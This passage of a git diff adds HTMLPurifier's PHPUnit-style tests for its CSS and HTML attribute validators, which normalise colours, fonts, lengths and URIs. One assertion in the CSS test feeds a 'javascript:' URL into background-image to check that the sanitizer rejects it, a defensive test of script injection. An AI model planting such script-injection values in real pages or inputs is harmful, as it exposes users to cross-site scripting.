$this->assertDef('-1in -4ex'); + $this->assertDef('-1pc 2.3%'); + + // keyword mixing + $this->assertDef('3em top'); + $this->assertDef('left 50%'); + + // fixable keyword mixing + $this->assertDef('top 3em', '3em top'); + $this->assertDef('50% left', 'left 50%'); + + // whitespace collapsing + $this->assertDef('3em top', '3em top'); + $this->assertDef("left\n \t foo ", 'left'); + + // invalid uses (we're going to be strict on these) + $this->assertDef('foo bar', false); + $this->assertDef('left left', 'left'); + $this->assertDef('left right top bottom center left', 'left bottom'); + $this->assertDef('0fr 9%', '9%'); + + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BackgroundTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BackgroundTest.php new file mode 100644 index 00000000..aa18d096 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BackgroundTest.php @@ -0,0 +1,23 @@ +def = new HTMLPurifier_AttrDef_CSS_Background($config); + + $valid = '#333 url("chess.png") repeat fixed 50% top'; + $this->assertDef($valid); + $this->assertDef('url(\'chess.png\') #333 50% top repeat fixed', $valid); + $this->assertDef( + 'rgb(34, 56, 33) url(chess.png) repeat fixed top', + 'rgb(34,56,33) url("chess.png") repeat fixed top' + ); + + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BorderTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BorderTest.php new file mode 100644 index 00000000..9159e8dc --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BorderTest.php @@ -0,0 +1,21 @@ +def = new HTMLPurifier_AttrDef_CSS_Border($config); + + $this->assertDef('thick solid red', 'thick solid #FF0000'); + $this->assertDef('thick solid'); + $this->assertDef('solid red', 'solid #FF0000'); + $this->assertDef('1px solid #000'); + $this->assertDef('1px solid rgb(0, 0, 0)', '1px solid rgb(0,0,0)'); + + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ColorTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ColorTest.php new file mode 100644 index 00000000..980bd909 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ColorTest.php @@ -0,0 +1,41 @@ +def = new HTMLPurifier_AttrDef_CSS_Color(); + + $this->assertDef('#F00'); + $this->assertDef('#fff'); + $this->assertDef('#eeeeee'); + $this->assertDef('#808080'); + $this->assertDef('rgb(255, 0, 0)', 'rgb(255,0,0)'); // rm spaces + $this->assertDef('rgb(100%,0%,0%)'); + $this->assertDef('rgb(50.5%,23.2%,43.9%)'); // decimals okay + + $this->assertDef('#G00', false); + $this->assertDef('cmyk(40, 23, 43, 23)', false); + $this->assertDef('rgb(0%, 23, 68%)', false); + + // clip numbers outside sRGB gamut + $this->assertDef('rgb(200%, -10%, 0%)', 'rgb(100%,0%,0%)'); + $this->assertDef('rgb(256,-23,34)', 'rgb(255,0,34)'); + + // color keywords, of course + $this->assertDef('red', '#FF0000'); + + // malformed hex declaration + $this->assertDef('808080', '#808080'); + $this->assertDef('000000', '#000000'); + $this->assertDef('fed', '#fed'); + + // maybe hex transformations would be another nice feature + // at the very least transform rgb percent to rgb integer + + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/CompositeTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/CompositeTest.php new file mode 100644 index 00000000..ab683e36 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/CompositeTest.php @@ -0,0 +1,82 @@ +defs =& $defs; + } + +} + +class HTMLPurifier_AttrDef_CSS_CompositeTest extends HTMLPurifier_AttrDefHarness +{ + + protected $def1, $def2; + + public function test() + { + generate_mock_once('HTMLPurifier_AttrDef'); + + $config = HTMLPurifier_Config::createDefault(); + $context = new HTMLPurifier_Context(); + + // first test: value properly validates on first definition + // so second def is never called + + $def1 = new HTMLPurifier_AttrDefMock(); + $def2 = new HTMLPurifier_AttrDefMock(); + $defs = array(&$def1, &$def2); + $def = new HTMLPurifier_AttrDef_CSS_Composite_Testable($defs); + $input = 'FOOBAR'; + $output = 'foobar'; + $def1_params = array($input, $config, $context); + $def1->expectOnce('validate', $def1_params); + $def1->setReturnValue('validate', $output, $def1_params); + $def2->expectNever('validate'); + + $result = $def->validate($input, $config, $context); + $this->assertIdentical($output, $result); + + // second test, first def fails, second def works + + $def1 = new HTMLPurifier_AttrDefMock(); + $def2 = new HTMLPurifier_AttrDefMock(); + $defs = array(&$def1, &$def2); + $def = new HTMLPurifier_AttrDef_CSS_Composite_Testable($defs); + $input = 'BOOMA'; + $output = 'booma'; + $def_params = array($input, $config, $context); + $def1->expectOnce('validate', $def_params); + $def1->setReturnValue('validate', false, $def_params); + $def2->expectOnce('validate', $def_params); + $def2->setReturnValue('validate', $output, $def_params); + + $result = $def->validate($input, $config, $context); + $this->assertIdentical($output, $result); + + // third test, all fail, so composite faiils + + $def1 = new HTMLPurifier_AttrDefMock(); + $def2 = new HTMLPurifier_AttrDefMock(); + $defs = array(&$def1, &$def2); + $def = new HTMLPurifier_AttrDef_CSS_Composite_Testable($defs); + $input = 'BOOMA'; + $output = false; + $def_params = array($input, $config, $context); + $def1->expectOnce('validate', $def_params); + $def1->setReturnValue('validate', false, $def_params); + $def2->expectOnce('validate', $def_params); + $def2->setReturnValue('validate', false, $def_params); + + $result = $def->validate($input, $config, $context); + $this->assertIdentical($output, $result); + + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FilterTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FilterTest.php new file mode 100644 index 00000000..19b2d8d7 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FilterTest.php @@ -0,0 +1,29 @@ +def = new HTMLPurifier_AttrDef_CSS_Filter(); + + $this->assertDef('none'); + + $this->assertDef('alpha(opacity=0)'); + $this->assertDef('alpha(opacity=100)'); + $this->assertDef('alpha(opacity=50)'); + $this->assertDef('alpha(opacity=342)', 'alpha(opacity=100)'); + $this->assertDef('alpha(opacity=-23)', 'alpha(opacity=0)'); + + $this->assertDef('alpha ( opacity = 0 )', 'alpha(opacity=0)'); + $this->assertDef('alpha(opacity=0,opacity=100)', 'alpha(opacity=0)'); + + $this->assertDef('progid:DXImageTransform.Microsoft.Alpha(opacity=20)'); + + $this->assertDef('progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)', false); + + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FontFamilyTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FontFamilyTest.php new file mode 100644 index 00000000..7f2fe0d0 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FontFamilyTest.php @@ -0,0 +1,53 @@ +def = new HTMLPurifier_AttrDef_CSS_FontFamily(); + + $this->assertDef('Gill, Helvetica, sans-serif'); + $this->assertDef("'Times New Roman', serif"); + $this->assertDef("\"Times New Roman\"", "'Times New Roman'"); + $this->assertDef('01234'); + $this->assertDef(',', false); + $this->assertDef('Times New Roman, serif', "'Times New Roman', serif"); + $this->assertDef($d = "'\xE5\xAE\x8B\xE4\xBD\x93'"); + $this->assertDef("\xE5\xAE\x8B\xE4\xBD\x93", $d); + $this->assertDef("'\\01'", "''"); + $this->assertDef("'\\20'", "' '"); + $this->assertDef("\\0020", "' '"); + $this->assertDef("'\\000045'", "E"); + $this->assertDef("','", false); + $this->assertDef("',' foobar','", "' foobar'"); + $this->assertDef("'\\000045a'", "Ea"); + $this->assertDef("'\\00045 a'", "Ea"); + $this->assertDef("'\\00045 a'", "'E a'"); + $this->assertDef("'\\\nf'", "f"); + // No longer supported, except maybe in NoJS mode (see source + // file for more explanation) + //$this->assertDef($d = '"John\'s Font"'); + //$this->assertDef("John's Font", $d); + //$this->assertDef("'\\','f'", "\"\\5C \", f"); + //$this->assertDef("'\\27'", "\"'\""); + //$this->assertDef('"\\22"', "\"\\22 \""); + //$this->assertDef('"\\""', "\"\\22 \""); + //$this->assertDef('"\'"', "\"'\""); + } + + public function testAllowed() + { + $this->config->set('CSS.AllowedFonts', array('serif', 'Times New Roman')); + + $this->assertDef('serif'); + $this->assertDef('sans-serif', false); + $this->assertDef('serif, sans-serif', 'serif'); + $this->assertDef('Times New Roman', "'Times New Roman'"); + $this->assertDef("'Times New Roman'"); + $this->assertDef('foo', false); + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FontTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FontTest.php new file mode 100644 index 00000000..c52d164f --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FontTest.php @@ -0,0 +1,34 @@ +def = new HTMLPurifier_AttrDef_CSS_Font($config); + + // hodgepodge of usage cases from W3C spec, but " -> ' + $this->assertDef('12px/14px sans-serif'); + $this->assertDef('80% sans-serif'); + $this->assertDef("x-large/110% 'New Century Schoolbook', serif"); + $this->assertDef('bold italic large Palatino, serif'); + $this->assertDef('normal small-caps 120%/120% fantasy'); + $this->assertDef("300 italic 1.3em/1.7em 'FB Armada', sans-serif"); + $this->assertDef('600 9px Charcoal'); + $this->assertDef('600 9px/ 12px Charcoal', '600 9px/12px Charcoal'); + + // spacing + $this->assertDef('12px / 14px sans-serif', '12px/14px sans-serif'); + + // system fonts + $this->assertDef('menu'); + + $this->assertDef('800', false); + $this->assertDef('600 9px//12px Charcoal', false); + + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ImportantDecoratorTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ImportantDecoratorTest.php new file mode 100644 index 00000000..0aa9da4e --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ImportantDecoratorTest.php @@ -0,0 +1,56 @@ +mock = new HTMLPurifier_AttrDefMock(); + $this->def = new HTMLPurifier_AttrDef_CSS_ImportantDecorator($this->mock, true); + } + + protected function setMock($input, $output = null) + { + if ($output === null) $output = $input; + $this->mock->expectOnce('validate', array($input, $this->config, $this->context)); + $this->mock->setReturnValue('validate', $output); + } + + public function testImportant() + { + $this->setMock('23'); + $this->assertDef('23 !important'); + } + + public function testImportantInternalDefChanged() + { + $this->setMock('23', '24'); + $this->assertDef('23 !important', '24 !important'); + } + + public function testImportantWithSpace() + { + $this->setMock('23'); + $this->assertDef('23 ! important ', '23 !important'); + } + + public function testFakeImportant() + { + $this->setMock('! foo important'); + $this->assertDef('! foo important'); + } + + public function testStrip() + { + $this->def = new HTMLPurifier_AttrDef_CSS_ImportantDecorator($this->mock, false); + $this->setMock('23'); + $this->assertDef('23 ! important ', '23'); + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/LengthTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/LengthTest.php new file mode 100644 index 00000000..dd79f906 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/LengthTest.php @@ -0,0 +1,49 @@ +def = new HTMLPurifier_AttrDef_CSS_Length(); + + $this->assertDef('0'); + $this->assertDef('0px'); + $this->assertDef('4.5px'); + $this->assertDef('-4.5px'); + $this->assertDef('3ex'); + $this->assertDef('3em'); + $this->assertDef('3in'); + $this->assertDef('3cm'); + $this->assertDef('3mm'); + $this->assertDef('3pt'); + $this->assertDef('3pc'); + + $this->assertDef('3PX', '3px'); + + $this->assertDef('3', false); + $this->assertDef('3miles', false); + + } + + public function testNonNegative() + { + $this->def = new HTMLPurifier_AttrDef_CSS_Length('0'); + + $this->assertDef('3cm'); + $this->assertDef('-3mm', false); + + } + + public function testBounding() + { + $this->def = new HTMLPurifier_AttrDef_CSS_Length('-1in', '1in'); + $this->assertDef('1cm'); + $this->assertDef('-1cm'); + $this->assertDef('0'); + $this->assertDef('1em', false); + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ListStyleTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ListStyleTest.php new file mode 100644 index 00000000..7cd83464 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ListStyleTest.php @@ -0,0 +1,35 @@ +def = new HTMLPurifier_AttrDef_CSS_ListStyle($config); + + $this->assertDef('lower-alpha'); + $this->assertDef('upper-roman inside'); + $this->assertDef('circle outside'); + $this->assertDef('inside'); + $this->assertDef('none'); + $this->assertDef('url("foo.gif")'); + $this->assertDef('circle url("foo.gif") inside'); + + // invalid values + $this->assertDef('outside inside', 'outside'); + + // ordering + $this->assertDef('url(foo.gif) none', 'none url("foo.gif")'); + $this->assertDef('circle lower-alpha', 'circle'); + // the spec is ambiguous about what happens in these + // cases, so we're going off the W3C CSS validator + $this->assertDef('disc none', 'disc'); + $this->assertDef('none disc', 'none'); + + + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/MultipleTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/MultipleTest.php new file mode 100644 index 00000000..e2725f74 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/MultipleTest.php @@ -0,0 +1,29 @@ +def = new HTMLPurifier_AttrDef_CSS_Multiple( + new HTMLPurifier_AttrDef_Integer() + ); + + $this->assertDef('1 2 3 4'); + $this->assertDef('6'); + $this->assertDef('4 5'); + $this->assertDef(' 2 54 2 3', '2 54 2 3'); + $this->assertDef("6\r3", '6 3'); + + $this->assertDef('asdf', false); + $this->assertDef('a s d f', false); + $this->assertDef('1 2 3 4 5', '1 2 3 4'); + $this->assertDef('1 2 invalid 3', '1 2 3'); + + + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/NumberTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/NumberTest.php new file mode 100644 index 00000000..943bf5c0 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/NumberTest.php @@ -0,0 +1,51 @@ +def = new HTMLPurifier_AttrDef_CSS_Number(); + + $this->assertDef('0'); + $this->assertDef('0.0', '0'); + $this->assertDef('1.0', '1'); + $this->assertDef('34'); + $this->assertDef('4.5'); + $this->assertDef('.5'); + $this->assertDef('0.5', '.5'); + $this->assertDef('-56.9'); + + $this->assertDef('0.', '0'); + $this->assertDef('.0', '0'); + $this->assertDef('0.0', '0'); + + $this->assertDef('1.', '1'); + $this->assertDef('.1', '.1'); + + $this->assertDef('1.0', '1'); + $this->assertDef('0.1', '.1'); + + $this->assertDef('000', '0'); + $this->assertDef(' 9', '9'); + $this->assertDef('+5.0000', '5'); + $this->assertDef('02.20', '2.2'); + $this->assertDef('2.', '2'); + + $this->assertDef('.', false); + $this->assertDef('asdf', false); + $this->assertDef('0.5.6', false); + + } + + public function testNonNegative() + { + $this->def = new HTMLPurifier_AttrDef_CSS_Number(true); + $this->assertDef('23'); + $this->assertDef('-12', false); + + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/PercentageTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/PercentageTest.php new file mode 100644 index 00000000..5aa0090f --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/PercentageTest.php @@ -0,0 +1,24 @@ +def = new HTMLPurifier_AttrDef_CSS_Percentage(); + + $this->assertDef('10%'); + $this->assertDef('1.607%'); + $this->assertDef('-567%'); + + $this->assertDef(' 100% ', '100%'); + + $this->assertDef('5', false); + $this->assertDef('asdf', false); + $this->assertDef('%', false); + + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/TextDecorationTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/TextDecorationTest.php new file mode 100644 index 00000000..fbefc6af --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/TextDecorationTest.php @@ -0,0 +1,27 @@ +def = new HTMLPurifier_AttrDef_CSS_TextDecoration(); + + $this->assertDef('none'); + $this->assertDef('none underline', 'underline'); + + $this->assertDef('underline'); + $this->assertDef('overline'); + $this->assertDef('line-through overline underline'); + $this->assertDef('overline line-through'); + $this->assertDef('UNDERLINE', 'underline'); + $this->assertDef(' underline line-through ', 'underline line-through'); + + $this->assertDef('foobar underline', 'underline'); + $this->assertDef('blink', false); + + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/URITest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/URITest.php new file mode 100644 index 00000000..a29f6e90 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/URITest.php @@ -0,0 +1,29 @@ +def = new HTMLPurifier_AttrDef_CSS_URI(); + + $this->assertDef('', false); + + // we could be nice but we won't be + $this->assertDef('http://www.example.com/', false); + + $this->assertDef('url(', false); + $this->assertDef('url("")', true); + $result = 'url("http://www.example.com/")'; + $this->assertDef('url(http://www.example.com/)', $result); + $this->assertDef('url("http://www.example.com/")', $result); + $this->assertDef("url('http://www.example.com/')", $result); + $this->assertDef( + ' url( "http://www.example.com/" ) ', $result); + $this->assertDef("url(http://www.example.com/foo,bar\)\'\()", + 'url("http://www.example.com/foo,bar%29%27%28")'); + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSSTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSSTest.php new file mode 100644 index 00000000..cff811bc --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSSTest.php @@ -0,0 +1,170 @@ +def = new HTMLPurifier_AttrDef_CSS(); + } + + public function test() + { + // regular cases, singular + $this->assertDef('text-align:right;'); + $this->assertDef('border-left-style:solid;'); + $this->assertDef('border-style:solid dotted;'); + $this->assertDef('clear:right;'); + $this->assertDef('float:left;'); + $this->assertDef('font-style:italic;'); + $this->assertDef('font-variant:small-caps;'); + $this->assertDef('font-weight:bold;'); + $this->assertDef('list-style-position:outside;'); + $this->assertDef('list-style-type:upper-roman;'); + $this->assertDef('list-style:upper-roman inside;'); + $this->assertDef('text-transform:capitalize;'); + $this->assertDef('background-color:rgb(0,0,255);'); + $this->assertDef('background-color:transparent;'); + $this->assertDef('background:#333 url("chess.png") repeat fixed 50% top;'); + $this->assertDef('color:#F00;'); + $this->assertDef('border-top-color:#F00;'); + $this->assertDef('border-color:#F00 #FF0;'); + $this->assertDef('border-top-width:thin;'); + $this->assertDef('border-top-width:12px;'); + $this->assertDef('border-width:5px 1px 4px 2px;'); + $this->assertDef('border-top-width:-12px;', false); + $this->assertDef('letter-spacing:normal;'); + $this->assertDef('letter-spacing:2px;'); + $this->assertDef('word-spacing:normal;'); + $this->assertDef('word-spacing:3em;'); + $this->assertDef('font-size:200%;'); + $this->assertDef('font-size:larger;'); + $this->assertDef('font-size:12pt;'); + $this->assertDef('line-height:2;'); + $this->assertDef('line-height:2em;'); + $this->assertDef('line-height:20%;'); + $this->assertDef('line-height:normal;'); + $this->assertDef('line-height:-20%;', false); + $this->assertDef('margin-left:5px;'); + $this->assertDef('margin-right:20%;'); + $this->assertDef('margin-top:auto;'); + $this->assertDef('margin:auto 5%;'); + $this->assertDef('padding-bottom:5px;'); + $this->assertDef('padding-top:20%;'); + $this->assertDef('padding:20% 10%;'); + $this->assertDef('padding-top:-20%;', false); + $this->assertDef('text-indent:3em;'); + $this->assertDef('text-indent:5%;'); + $this->assertDef('text-indent:-3em;'); + $this->assertDef('width:50%;'); + $this->assertDef('width:50px;'); + $this->assertDef('width:auto;'); + $this->assertDef('width:-50px;', false); + $this->assertDef('text-decoration:underline;'); + $this->assertDef('font-family:sans-serif;'); + $this->assertDef("font-family:Gill, 'Times New Roman', sans-serif;"); + $this->assertDef('font:12px serif;'); + $this->assertDef('border:1px solid #000;'); + $this->assertDef('border-bottom:2em double #FF00FA;'); + $this->assertDef('border-collapse:collapse;'); + $this->assertDef('border-collapse:separate;'); + $this->assertDef('caption-side:top;'); + $this->assertDef('vertical-align:middle;'); + $this->assertDef('vertical-align:12px;'); + $this->assertDef('vertical-align:50%;'); + $this->assertDef('table-layout:fixed;'); + $this->assertDef('list-style-image:url("nice.jpg");'); + $this->assertDef('list-style:disc url("nice.jpg") inside;'); + $this->assertDef('background-image:url("foo.jpg");'); + $this->assertDef('background-image:none;'); + $this->assertDef('background-repeat:repeat-y;'); + $this->assertDef('background-attachment:fixed;'); + $this->assertDef('background-position:left 90%;'); + $this->assertDef('border-spacing:1em;'); + $this->assertDef('border-spacing:1em 2em;'); + + // duplicates + $this->assertDef('text-align:right;text-align:left;', + 'text-align:left;'); + + // a few composites + $this->assertDef('font-variant:small-caps;font-weight:900;'); + $this->assertDef('float:right;text-align:right;'); + + // selective removal + $this->assertDef('text-transform:capitalize;destroy:it;', + 'text-transform:capitalize;'); + + // inherit works for everything + $this->assertDef('text-align:inherit;'); + + // bad props + $this->assertDef('nodice:foobar;', false); + $this->assertDef('position:absolute;', false); + $this->assertDef('background-image:url(\'javascript:alert\(\)\');', false); + + // airy input + $this->assertDef(' font-weight : bold; color : #ff0000', + 'font-weight:bold;color:#ff0000;'); + + // case-insensitivity + $this->assertDef('FLOAT:LEFT;', 'float:left;'); + + // !important stripping + $this->assertDef('float:left !important;', 'float:left;'); + + } + + public function testProprietary() + { + $this->config->set('CSS.Proprietary', true); + + $this->assertDef('scrollbar-arrow-color:#ff0;'); + $this->assertDef('scrollbar-base-color:#ff6347;'); + $this->assertDef('scrollbar-darkshadow-color:#ffa500;'); + $this->assertDef('scrollbar-face-color:#008080;'); + $this->assertDef('scrollbar-highlight-color:#ff69b4;'); + $this->assertDef('scrollbar-shadow-color:#f0f;'); + + $this->assertDef('opacity:.2;'); + $this->assertDef('-moz-opacity:.2;'); + $this->assertDef('-khtml-opacity:.2;'); + $this->assertDef('filter:alpha(opacity=20);'); + + } + + public function testImportant() + { + $this->config->set('CSS.AllowImportant', true); + $this->assertDef('float:left !important;'); + } + + public function testTricky() + { + $this->config->set('CSS.AllowTricky', true); + $this->assertDef('display:none;'); + $this->assertDef('visibility:visible;'); + $this->assertDef('overflow:scroll;'); + } + + public function testForbidden() + { + $this->config->set('CSS.ForbiddenProperties', 'float'); + $this->assertDef('float:left;', false); + $this->assertDef('text-align:right;'); + } + + public function testTrusted() + { + $this->config->set('CSS.Trusted', true); + $this->assertDef('position:relative;'); + $this->assertDef('left:2px;'); + $this->assertDef('right:100%;'); + $this->assertDef('top:auto;'); + $this->assertDef('z-index:-2;'); + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/EnumTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/EnumTest.php new file mode 100644 index 00000000..dda4dae1 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/EnumTest.php @@ -0,0 +1,41 @@ +def = new HTMLPurifier_AttrDef_Enum(array('one', 'two')); + $this->assertDef('one'); + $this->assertDef('ONE', 'one'); + } + + public function testCaseSensitive() + { + $this->def = new HTMLPurifier_AttrDef_Enum(array('one', 'two'), true); + $this->assertDef('one'); + $this->assertDef('ONE', false); + } + + public function testFixing() + { + $this->def = new HTMLPurifier_AttrDef_Enum(array('one')); + $this->assertDef(' one ', 'one'); + } + + public function test_make() + { + $factory = new HTMLPurifier_AttrDef_Enum(); + + $def = $factory->make('foo,bar'); + $def2 = new HTMLPurifier_AttrDef_Enum(array('foo', 'bar')); + $this->assertIdentical($def, $def2); + + $def = $factory->make('s:foo,BAR'); + $def2 = new HTMLPurifier_AttrDef_Enum(array('foo', 'BAR'), true); + $this->assertIdentical($def, $def2); + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/BoolTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/BoolTest.php new file mode 100644 index 00000000..ca790327 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/BoolTest.php @@ -0,0 +1,24 @@ +def = new HTMLPurifier_AttrDef_HTML_Bool('foo'); + $this->assertDef('foo'); + $this->assertDef('', false); + $this->assertDef('bar', 'foo'); + } + + public function test_make() + { + $factory = new HTMLPurifier_AttrDef_HTML_Bool(); + $def = $factory->make('foo'); + $def2 = new HTMLPurifier_AttrDef_HTML_Bool('foo'); + $this->assertIdentical($def, $def2); + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ClassTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ClassTest.php new file mode 100644 index 00000000..8961f464 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ClassTest.php @@ -0,0 +1,53 @@ +def = new HTMLPurifier_AttrDef_HTML_Class(); + } + public function testAllowedClasses() + { + $this->config->set('Attr.AllowedClasses', array('foo')); + $this->assertDef('foo'); + $this->assertDef('bar', false); + $this->assertDef('foo bar', 'foo'); + } + public function testForbiddenClasses() + { + $this->config->set('Attr.ForbiddenClasses', array('bar')); + $this->assertDef('foo'); + $this->assertDef('bar', false); + $this->assertDef('foo bar', 'foo'); + } + public function testDefault() + { + $this->assertDef('valid'); + $this->assertDef('a0-_'); + $this->assertDef('-valid'); + $this->assertDef('_valid'); + $this->assertDef('double valid'); + + $this->assertDef('0stillvalid'); + $this->assertDef('-0'); + + // test conditional replacement + $this->assertDef('validassoc 0valid', 'validassoc 0valid'); + + // test whitespace leniency + $this->assertDef(" double\nvalid\r", 'double valid'); + + // test case sensitivity + $this->assertDef('VALID'); + + // test duplicate removal + $this->assertDef('valid valid', 'valid'); + } + public function testXHTML11Behavior() + { + $this->config->set('HTML.Doctype', 'XHTML 1.1'); + $this->assertDef('0invalid', false); + $this->assertDef('valid valid', 'valid'); + } +} diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ColorTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ColorTest.php new file mode 100644 index 00000000..01c279a5 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ColorTest.php @@ -0,0 +1,22 @@ +def = new HTMLPurifier_AttrDef_HTML_Color(); + $this->assertDef('', false); + $this->assertDef('foo', false); + $this->assertDef('43', false); + $this->assertDef('red', '#FF0000'); + $this->assertDef('RED', '#FF0000'); + $this->assertDef('#FF0000'); + $this->assertDef('#453443'); + $this->assertDef('453443', '#453443'); + $this->assertDef('#345', '#334455'); + $this->assertDef('120', '#112200'); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/FrameTargetTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/FrameTargetTest.php new file mode 100644 index 00000000..4f9f9292 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/FrameTargetTest.php @@ -0,0 +1,31 @@ +def = new 